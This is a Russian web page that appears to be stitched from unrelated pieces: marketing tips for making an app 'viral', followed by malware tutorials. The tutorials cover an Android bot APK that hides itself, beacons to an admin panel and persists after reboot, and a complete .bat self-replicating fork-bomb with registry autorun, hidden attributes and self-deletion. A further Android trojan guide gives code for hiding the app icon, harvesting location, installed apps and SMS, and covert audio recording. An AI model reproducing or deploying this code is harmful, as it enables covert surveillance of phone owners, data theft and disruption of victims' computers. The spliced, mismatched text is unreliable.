Как сделать приложение вирус
Вирусность всегда развивается одинаково. Этот процесс можно разбить на три этапа.
Новый пользователь заходит в приложение, проводит в нем какое-то время и достигает так называемой «вирусной точки».
Достигнув ее, он приглашает своих друзей воспользоваться сервисом.
Некоторые из них переходят по ссылке и регистрируются в нем.
Все вирусные приложения следуют этой схеме, поэтому важно уделить внимание каждому из этих шагов — необходимо, чтобы они выполнялись как можно быстрее и повторялись как можно чаще. Вот четыре фактора, которые нужно учитывать при оптимизации алгоритма.
Коэффициент конверсии (CVR) новых пользователей — от лэндинга до отправки приглашения.
Количество людей, которые получили приглашение.
Коэффициент кликабельности (CTR) — от приглашения до запуска сервиса.
Скорость вирусных шагов: количество циклов, выполненных за определенный промежуток времени.
12 правил вирусного распространения приложений
1. Сделайте сам продукт вирусным
Как это применить к некоммуникационным сервисам? Привяжите их к общению и жизни пользователей — тогда они станут предметом разговора, а значит, приобретут вирусность.
2. Выберите самую интересную тему
Невозможно сделать вирусным то, что не интересно абсолютному большинству. Например, фотография с щенками в Facebook принесет больше лайков, чем статья об автомобилях. Возьмите газету и посмотрите ее разделы: политика, спорт, кино, погода, фондовый рынок, кроссворды, судоку, гороскопы…То, что постоянно появляется в средствах массовой информации, наиболее близко людям.
Чем уже тема, тем меньше аудитория. Я гарантирую, что у USA Today куда больший тираж, чем у «Американского журнала доисторической энтомологии».
3. Привлеките внимание
Есть несколько проверенных способов сделать это. Если кратко, то людей больше всего интересуют новизна, секс, насилие, тайны, эмоции, яркие визуальные эффекты, истории и разговоры о них самих.
4. Не раскрывайте всех деталей
Например, этот гороскоп на Facebook обрывается многоточием и фразой see more («увидеть больше»). Но на самом деле она не открывает продолжение текста, а ведет на сайт проекта.
5. Предложите немедленный результат
Чем проще зарегистрироваться в сервисе, тем вероятнее, что люди решатся на это. Не заставляйте их делать множество кликов, открывать электронную почту и так далее — сразу дайте им то, за чем они к вам пришли. Они интересуются вашим продуктом, но этот интерес непостоянен. Если они не найдут то, что ищут, то просто уйдут.
6. Доберитесь до «вирусной точки» сразу
Например, когда Facebook был вирусным, некоторые разработчики игр ждали пару дней и только потом предлагали людям позвать друзей. К тому времени они теряли до 90% аудитории. Не лучше ли дать такую возможность на первом сеансе? Игры, которые поступали именно так, росли намного быстрее.
7. Дайте правильные стимулы
Предположим, «вирусная точка» находится в самом подходящем месте. Но у пользователя должен быть стимул поделиться ссылкой на ваш сервис. В традиционных продуктах стимулы — это то, что ценно для человека. Например, скидка или, как в случае с Dropbox, бесплатное хранилище для файлов.
Какие типы стимулов лучше всего работают для вирусных приложений? Те, что хороши как для отправителя, так и для получателя. Люди не хотят выглядеть эгоистичными и злоупотреблять вниманием друзей только ради личной выгоды. Но если для получателя тоже предусмотрен бонус, то это беспроигрышный вариант! Отправитель может сказать: «Эй, подпишись на это, мы оба что-нибудь получим!»
Не всем продуктам нужны такие стимулы. В случае с коммуникационными сервисами сама возможность общения — уже повод установить приложение.
То, чем вы делитесь в соцсетях, отражает вашу личность, демонстрирует ваши ценности и интересы. Как это знание поможет в вирусном распространении приложений? Вам нужно подумать, как вирусный элемент отразится на отправителе. Если позитивно и этой записью можно будет гордиться, люди ей поделятся. Если нет, то не будут. По это причине вы наверняка не видели ни одной вирусной кампании, основанной на темах секса и насилия, хотя в целом они и интересны людям.
9. Вдохновите человека пригласить как можно больше друзей
Приложение с большей вероятностью станет вирусным, если пользователи будут чувствовать себя комфортно, приглашая в него друзей. В качестве примера: вирусный рост сервиса с инвестиционными консультациями Wealthfront происходил гораздо медленнее, чем у Dropbox. Дело в том, что хранение файлов в облаке интересно практически всем интернет-пользователям, а вот денежные вложения — более узкая тема, и в соответствующее приложение друзей зовут с осторожностью.
10. Создайте набор вирусных каналов
Итак, вы полностью оптимизировали вирусный цикл. Что теперь? Придумайте больше каналов для распространения сервиса. Задействуйте электронную почту, смс, мессенджеры, соцсети или что-то еще.
11. Адаптируйте вирусную кампанию к конкретной платформе
Например, запуская вирусное распространение продукта в Facebook, продумайте записи таким образом, чтобы они собирали как можно больше лайков и комментариев. Эта соцсеть воспринимает их как свидетельство того, что пост интересен, и показывает его большему количеству людей. Так вы получаете бесплатный трафик.
Одними из наиболее вирусных приложений являются коммуникационные: WhatsApp, Line, WeChat, Skype, Zoom, Snapchat…. Почему? Потому что в них вы часто общаетесь с людьми. А чем больше вы используете приложение, тем больше в нем вирусности.
Сегодня мы вообразим себя злыми хакерами и займемся написанием настоящего вируса для андроид системы. Мы подробно и с примерами расскажем о основных этапах написания вируса для операционной системы андроид. Не лишним будет напомнить, что эта статья предназначена только для удовлетворения вашего исследовательского интереса. И писать а тем более распространять вирусы не стоит 🙂
Как стать «хакером» андроида.
Как все начиналось?
Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать А для этого мы идем в File -> New -> New project. И тут нам предлогают придумать название проекта и домен сайта компании. Вводим что взбредится в голову. На основе этих данных генерируется package имя. Которое использоется как уникальный идентефикатор нашего APK. Жмем далее. Тут нам предлогают выбрать платфурму под наш проект. Ну тут мы выбираем только Phone. Остальное рассмотрим позже.
[ad name=»UMI 600×313″]
Далее. И теперь нам предлогают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish.
Пока файлы нового проекта индексируются и настраивается сборщик проекта.
Эй, ты слишком жырный!
Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна. Переходи в файл MainActivity.java
Заменяем
Заходим в настройки проекта и во вкладке Dependes удаляем строку с AppCompat. Далее переходим к файлу values.xml и styles.xml. Удаляем их.
Заходим в androidManifest.xml и
меняем
Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.
Почему ты не прячешься?
Далее, нам нужно спрятать нашего зверька. Чтобы иконка не была видна в списке менеджера приложений. А так же надо закрыть наше приложение.
Вставляем после setContentView(R.layout.activity_main) Следующий код:
Этот код скроет нашу иконку с глаз И после всего этого пишем:
Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке.
Тук, тук, открывайте, полиция!
Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже полагаю, что админка где-то написана. И от нас требуется только стучать. Возьмем самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на
Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос на URL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест.
и в описание application
Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса
Финишная линия
Теперь у нас есть апк, который сам себя скрывает после запуска и запускает процес отстука в админ панель. Где написано // Обработка result : там происходит обработка ответа и команд админки. Не сложно, правда? Но пока мы пили пиво. Мы совсем забыли, что если телефон перезагрузят. То наше приложение уже ни когда не запустится. Для этого мы идем опять в манифест.
Добавляем права на запуск после ребута:
Добавляем обязательно обработчик в описание application
Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создаим. Все делаем как я писал выше. Создали и удалили все кроме package.
[ad name=»Redmi»]
Конец, и пару слов.
Если есть вопросы, задавайте. В окончании у нас появился прям такой игрушечный бот (APK). Что послужит вам хорошей базой и внесет немного понимания, как это все работает. Спасибо за внимание. Надеюсь будет прододжение Сильно не пинайте, опыт первый, да и еще ночью пришлось писать. А вот критику хотелось бы услышать, чтобы след урок получился лучше.
За данный материал мы благодарны пользователю allmore из форума Damagelab
Создание самых простых вирусов не требует наличия специальных сред для разработки программ. И особых знаний, кстати, тоже. Создать вирусы довольно просто, если использовать для этого командную строку. Для этого нужно немного знать синтаксис командной строки и уметь создавать .bat-файлы.
Что такое .bat-файл и как его создать?
Если очень поверхностно, то это файлы с расширением .bat. Такие файлы несут в себе команды, которые должны быть выполнены командным интерпретатором Windows. Все те команды, которые можно выполнить в окне командной строки, можно вписать в .bat-файл и запустить. Результат будет одинаковым.
Чтобы создать .bat-вирус, нам нужен обычный текстовый редактор. В идеале подойдет для этих целей Блокнот. Создав и открыв новый текстовый документ, Вам нужно вписать туда тот код(команды), которые он должен выполнить. После этого, Вам нужно с помощью меню Сохранить как сохранить этот файл, задав ему какое-либо имя с расширением .bat и указав тип файла Все файлы.
Создаем простейший вирус
В данной статье мы рассмотрим создание вируса, который после своего запуска будет бесконечно открывать окно командной строки. Бесконечно и очень быстро открывающиеся окна командной строки не дадут пользователю спокойно работать. Закрыть их всех не успеет никто и очень скоро они забьют оперативную память компьютера, что в свою очередь сильно затормозит работу компьютера, вплоть до полного зависания. Выглядеть это будет приблизительно так:
Вдобавок, мы закинем наш вирус в автозагрузку, что обеспечит автоматический запуск вируса вместе с операционной системой.
Код создаваемого вируса
Сколько программистов, столько разных решений можно придумать для каждой задачи. Я приведу один из своих методов решения такой задачи.
[code]md c:\papka
echo start c:\papka\virus.bat>c:\papka\virus.bat
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v virus /d c:\papka\virus.bat
attrib +r +h +s c:\papka
attrib +r +h +s c:\papka\virus.bat
start c:\papka\virus.bat
del %0[/code]
А теперь разберем сам код. Первая строчка создает папку с именем papka в корне диска C:/. Такой адрес приведен только для примера. Использование же корня папки C:/ не совсем хороший вариант для вируса. Если Вы хотите обеспечить хорошую выживаемость Вашему вирусу, лучше всего спрятать его подальше. Первую команду можно даже пропустить, если Вы закинете сам вирус в уже созданную директорию.
Вторая строчка создает файл c:\papka\virus.bat и, с помощью команды echo, вписывает в него команду start c:\papka\virus.bat. Тут нужно знать, что после знака > указывается место вывода приведенной команды. Тут Вам нужно познакомится: c:\papka\virus.bat и есть основное тело вируса. Созданный нами .bat-файл с кодом, который мы сейчас разбираем, является всего лишь установщиком нашего основного вируса. Вы можете использовать другое название и другое местоположение для вируса.
Третья строчка закидывает созданный нами во второй строчке тело вируса в автозагрузку. Для этого используется пользовательская ветка реестра, так как к ней у пользователя всегда есть доступ. А вот использовать автозагрузку компьютера не безопасно, так как пользователь может не иметь административного доступа, что вызовет ненужную ошибку.
Четвертая и пятая строка кода изменяют атрибуты вируса и папки, где хранится вирус. Данными командами, а для этого используется команда attrib, мы добавляем атрибуты Только чтение, Скрытый и Системный и для папки, и для вируса. Использование атрибута r(Только чтение) необязательно. А вот атрибуты Скрытый и Системный хорошо защитят созданный нами вирус. Если не верите, то почитайте статью про вирус, который превращает папки на флешке в ярлыки. Он использует именно эту технологию.
6-ая строчка кода запускает наш вирус. Вы можете пропустить этот пункт, если хотите, чтобы первый запуск вируса произошел только после перезагрузки компьютера.
И, наконец-то, последняя, 7-ая строчка удаляет данный .bat-вирус. Это полезно, так как по этому .bat-файлу можно спокойно выйти на созданный нами вирус и удалить его.
Смысл созданного вируса
Смысл вируса, который уместился в эти 7 строк — создать основной вирус, защитить его и обеспечить его постоянную работу. А так же подмести свои следы. А что делает основной вирус? После запуска основного вируса, он выполняет ту команду, которая вписана в нее. А это команда, в свою очередь, запускает наш вирус, который опять-таки снова запускает самого себя. И так до бесконечности.
Как бороться с такими вирусами?
Во-первых, начало борьбы с данным вирусом начнется после того, как он запуститься. Очень скоро вирус заполнит своими копиями оперативную память и Вы даже мышкой шевельнуть не сможете. Поэтому, такой спектакль нужно пресекать сразу. Для этого прекрасно подойдет кнопка Break на клавиатуре. Жмите ее столько, сколько понадобится, чтобы новые копии перестали создаваться. На клавиатурах без кнопки Break, может помочь сочетание клавиш Ctrl+C.
Как удалить такой вирус?
Вы можете найти и удалить вирус через его запись в автозагрузке(подробнее по ссылке). А так же Вы можете выйти на вирус по команде, которая будет высвечиваться в окне командного интерпретатора. Естественно, если Вы сможете добраться до скрытого и системного файла. Вот таким образом происходит создание простого вируса.
Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.
Как написать троян на Андроид
Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.
Возможности трояна будут следующие:
- сбор информации о местоположении;
- получение списка установленных приложений;
- получение СМС;
- запись аудио;
- съемка задней или фронтальной камерой.
Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.
Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).
Каркас
На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).
Начнем. Создайте приложение, указав в манифесте следующие разрешения:
< uses - permission android : name = "android.permission.ACCESS_COARSE_LOCATION" / > < uses - permission android : name = "android.permission.ACCESS_FINE_LOCATION" / > < uses - permission android : name = "android.permission.INTERNET" / > < uses - permission android : name = "android.permission.CAMERA" / > < uses - permission android : name = "android.permission.RECORD_AUDIO" / > < uses - permission android : name = "android.permission.RECEIVE_BOOT_COMPLETED" / > < uses - permission android : name = "android.permission.READ_PHONE_STATE" / > < uses - permission android : name = "android.permission.PROCESS_OUTGOING_CALLS" / > < uses - permission android : name = "android.permission.READ_CONTACTS" / > < uses - permission android : name = "android.permission.READ_SMS" / >Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):
< category android : name = "android.intent.category.LAUNCHER" / >Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:
startService ( new Intent ( this , MainService . class ) ) ; ComponentName cn = new ComponentName ( "com.example.app" , "com.example.app.MainActivity" ) ; pm . setComponentEnabledSetting ( cn , PackageManager . COMPONENT_ENABLED_STATE_DISABLED , PackageManager . DONT_KILL_APP ) ;Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.
Информация о местоположении
Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.
Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).
В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:
LocationManager lManager = ( LocationManager ) context . getSystemService ( Context . LOCATION_SERVICE ) ; android . location . Location locationGPS = lManager . getLastKnownLocation ( LocationManager . GPS_PROVIDER ) ; android . location . Location locationNet = lManager . getLastKnownLocation ( LocationManager . NETWORK_PROVIDER ) ;Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.
Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:
String locationFile = context . getApplicationInfo ( ) . dataDir + "/location" OutputStreamWriter outputStreamWriter = new OutputStreamWriter ( context . openFileOutput ( locationFile , Context . MODE_PRIVATE ) ) ; outputStreamWriter . write ( loc . getLatitude ( ) + " " + loc . getLongitude ) ;Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.
Список установленных приложений
Получить список установленных приложений еще проще:
String appsFile = context . getApplicationInfo ( ) . dataDir + "/apps" final PackageManager pm = context . getPackageManager ( ) ; List < ApplicationInfo > packages = pm . getInstalledApplications ( PackageManager . GET_META_DATA ) ; pw . println ( pm . getApplicationLabel ( packageInfo ) + ": " + packageInfo . packageName ) ; private boolean isSystemPackage ( ApplicationInfo applicationInfo ) < return ( ( applicationInfo . flags & ApplicationInfo.FLAG_SYSTEM) != 0);Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.
Дамп СМС
Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:
void dumpSMS ( Context context , String file , String box ) < SimpleDateFormat formatter = new SimpleDateFormat ( "yyyy.MM.dd HH:mm:ss" , Locale . US ) ; Cursor cursor = context . getContentResolver ( ) . query ( Uri . parse ( "content://sms/" + box ) , null , null , null , null ) ; for ( int idx = 0 ; idx < cursor . getColumnCount ( ) ; idx ++ ) < String dateString = formatter . format ( new Date ( Long . valueOf ( date ) ) ) ;Использовать его следует так:
String inboxFile = context . getApplicationInfo ( ) . dataDir + "/sms_inbox" String sentFile = context . getApplicationInfo ( ) . dataDir + "/sms_sent" ;Записи в файле будут выглядеть примерно так:
Скрытая запись аудио
recorder . setAudioSource ( MediaRecorder . AudioSource . MIC ) ; recorder . setOutputFormat ( MediaRecorder . OutputFormat . THREE_GPP ) ; recorder . setAudioEncoder ( MediaRecorder . AudioEncoder . AMR_NB ) ;Использовать его можно, например, так:
DateFormat formatter = new SimpleDateFormat ( "yyyy-MM-dd-HH-mm-ss" , Locale . US ) ; String filePrefix = context . getApplicationInfo ( ) . dataDir + "/audio-" ; recordAudio ( filePrefix + formatter . format ( date ) + ".3gp" , 15 ) ;Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.
Скрытая съемка
С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.
Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):
Читайте также: